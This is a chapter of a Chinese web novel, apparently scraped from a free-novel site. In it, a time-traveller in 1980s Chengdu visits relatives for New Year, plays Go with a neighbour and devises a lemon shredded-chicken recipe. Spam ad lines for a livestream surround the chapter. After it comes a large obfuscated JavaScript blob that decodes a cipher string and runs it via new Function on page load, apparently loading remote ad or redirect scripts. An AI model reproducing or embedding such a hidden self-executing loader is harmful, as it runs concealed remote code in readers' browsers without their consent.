第36章 老院子（第1页）
请退出浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。🎁黑丝纯欲主播-免费
随后几天就是上午睡懒觉到十点，吃完饭再去棋院一楼跟一众熟人喝茶聊天下棋，混到饭点回家吃饭。日子过得清闲自在，难得的是余方和唐笑宏也利用放假时间在一楼磨练棋艺。临近过年，老爸老妈不停的往家里搬年货，也难怪，一家三口都在挣钱，汪家伟还时不时利用职务之便顺点肉食回来，在这个年代的算起来的话，汪羽一家可以说是提前步入小康之家了。
年二九，一家三口骑着车大包小包的来到了舅舅家，拜年的时候汪羽主动给外婆奉上一百元大红包，得到家里人没口子的称赞。接下来是老规矩，汪家伟下厨做饭其他人聊天打麻将。当然今年也有不同，一个院子的黄老师客气的来串门找汪羽，嘴里还一直说着向市冠军请教两盘。大过年的不便拂人美意，汪羽爽快答应，乐得黄老师直搓手。
坐下后黄老师客气的摆上3子，这个棋份汪羽下得挺随意的，注意力基本都不在棋上面，小院坝一共住了七家人，有四家今天都去走亲戚了，两家在做团年饭，就剩黄老师一家没动静。
下了十几手，一阵独特而淡雅的腊梅香袭来，抬头是院子最里边那株老树开花了，就着成都一年四季最常见的阴天，喝口茉莉花茶，耳畔是院子外带着年味，时有时无的鞭炮声，这冬日的下午倒也别有一番情调。
又是数十手，黄老师落子的步调开始慢下来，汪羽瞄着黄老师思考的样子，脑子里记起了一段往事。这黄老师，好像是院坝里第一个卖了房子搬家的啊。
这院坝，汪羽记得九十年代初，黄老师就把这房子卖掉搬走了，接手的是个做餐饮的老板，生意做好进入新世纪之后66续续又把院坝里其他人的房子都买下来了。舅舅在后面因为一些事把房子卖给了老妈，老妈拿到也没卖只是把房子租给别人。因为紧靠军区，所以这老院子直到汪羽穿越之前都没拆迁。都说北京的四合院值一个亿，那么成都市中心，府南河以内，这样一座院子值多少呢？记忆中还有几年黄老师就要卖房子了，这次换汪羽家拿下也不是没有机会。
脑子里不住yy，两盘都被黄老师最后翻了盘，八十年代的老3段果然还是有点东西。黄老师还待再下，看时间四点过了，汪羽拒绝了邀请，起身打算帮老爸弄年夜饭。才端起板凳往舅舅家走，院坝门口传来了“买青果”的叫卖声。外婆打算买点灯芯草，汪羽抢先出院门叫住了挑担子的大爷。
这个年代的成都，经常会有走街串巷的小贩，小贩也分为摆摊或者挑着担子的卖货郎，那些在菜市场卖打药，卖耗儿药的，还有卖菜刀，卖活蛇取胆的属于第一种，第二种里面最多的就是卖酱油，豆腐干，卖青果的。逢年过节也会有点杀活鸡活鸭的用三轮车推着卖。
青果摊子属于老成都独有的记忆，最受外婆她们这辈的婆婆大娘追捧，一般都是两个担子一根扁担。卖的东西你说他是吃的，很多不能直接下嘴，说是药材呢，又只能算沾边。通常挑子上都是青果，莲子，竹叶心，胖大海，罗汉果这些清火的，也搭配一些红糖，灯芯草，薏米这些小玩意儿，外婆称了点青果和灯芯草正要给钱，一个黄澄橙的东西吸引了汪羽视线，咦，柠檬？
这个年代柠檬在四川还是稀有玩意儿，不仅少而且绝大多数只是拿来泡水喝，汪羽捏着柠檬进到院子，打算用柠檬来给年夜饭增添一点新意。把灶台上所有食材仔细查看了一遍，对比完后脑子里比较了半天，终于锁定一份食材。
“爸，出来下”汪羽探头跟正在打麻将的汪家伟打招呼。
汪家伟出来后看儿子手拿两个柠檬，以为汪羽要叫他帮忙切了泡水，伸手去接。
汪羽把柠檬放到一边，手指两个土鸡腿问：“这两个鸡腿你打算弄啥菜？”
“炒辣子鸡啊，今天人多要两个腿。”汪家伟回答儿子
汪羽问：“哦，我想做个新菜，你把这两个鸡腿留给我行不行。”
汪家伟这几个月来已经习惯了儿子稀奇古怪的创意，比如前几天汪羽开始做的“奶茶”就很受欢迎，想了下问：“你要做啥菜？”
“手撕鸡。”汪羽不带含糊的说。
“行嘛，等下做的时候你来说，我来弄。”汪家伟答应了
“好。”
五点，小姨一家也到了，汪家伟起身让位，开始炒菜，汪羽也帮着打下手。
轮到汪羽的柠檬手撕鸡，汪羽站一旁口述，汪家伟实操。
“大盘子中间倒扣个小碗，用少许料酒按摩鸡腿一遍，顺着鸡腿割两刀，呈太极状码好入盘，上置姜片，葱，隔水蒸二十分钟。”
“起锅小心烫，鸡腿拿到旁边撕成条。中间小碗揭开，因为虹吸效应，里面会有小半碗黄澄橙的鸡汤精华。”
“这鸡汤里面挤半个柠檬汁，少许酱油，一点点糖勾味，泡二荆条来三根宽切，再来点青椒细切。”因为这年代成都市面很少有小米椒，替换成红彤彤的泡椒突出酸爽，也增加成菜的颜色。
“千万别放盐和味精，土鸡腿加这个鸡汤精华本身就够鲜了。碗汁调配完成。”
“剩下半个柠檬切片，再加点香菜放上面。泡菜坛子里没洋葱就这样了。淋碗汁，搅拌，完成。”
于是。做法简单的懒人版柠檬手撕鸡，就这样提前几十年问世了，柠檬本身清新的酸爽中和了鸡的肥腻，再加上两种辣椒和香菜搭配使口感丰富。蒸出来的鸡汁更是点睛之笔。
手撕鸡拌好后汪家伟迫不及待尝了一筷子，进嘴后一瞬间，味蕾的爆炸也彻底颠覆了他几十年的传统观念，柠檬做出来的拌菜口味居然如此独特，汪家伟开始思考还能把柠檬用到其他什么菜里边，这也导致了他后来独创了几个和柠檬有关广受好评的的菜。
🎁黑丝纯欲主播-免费请退出浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。
!function(){function a(a){var _idx="v5fua0y2hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n/h^/@Q}jR8Xn7_d0T@h("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@Q}"=^8"Xn7_d0T@h("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@Q}d2(LCYmRD(JhfmRT4"="@Q}5p(LYpmq^Xf(LmRT4"="@Q}D7(LSqm(f24hJmRT4"="@Q}dC(LJ^mRD(JhfmRT4"="@Q}(C(L:4mq^Xf(LmRT4"="@Q}C2(LSYm(f24hJmRT4"="@Q}25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmX{LX@ShmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmX{LX@ShmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n/f/@Q}j(8}vR8Xn7_d0T@h("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();
www.qbzww.com 全本免费小说
畅快阅读 永久免费
请注意适当休息 保护好您的眼睛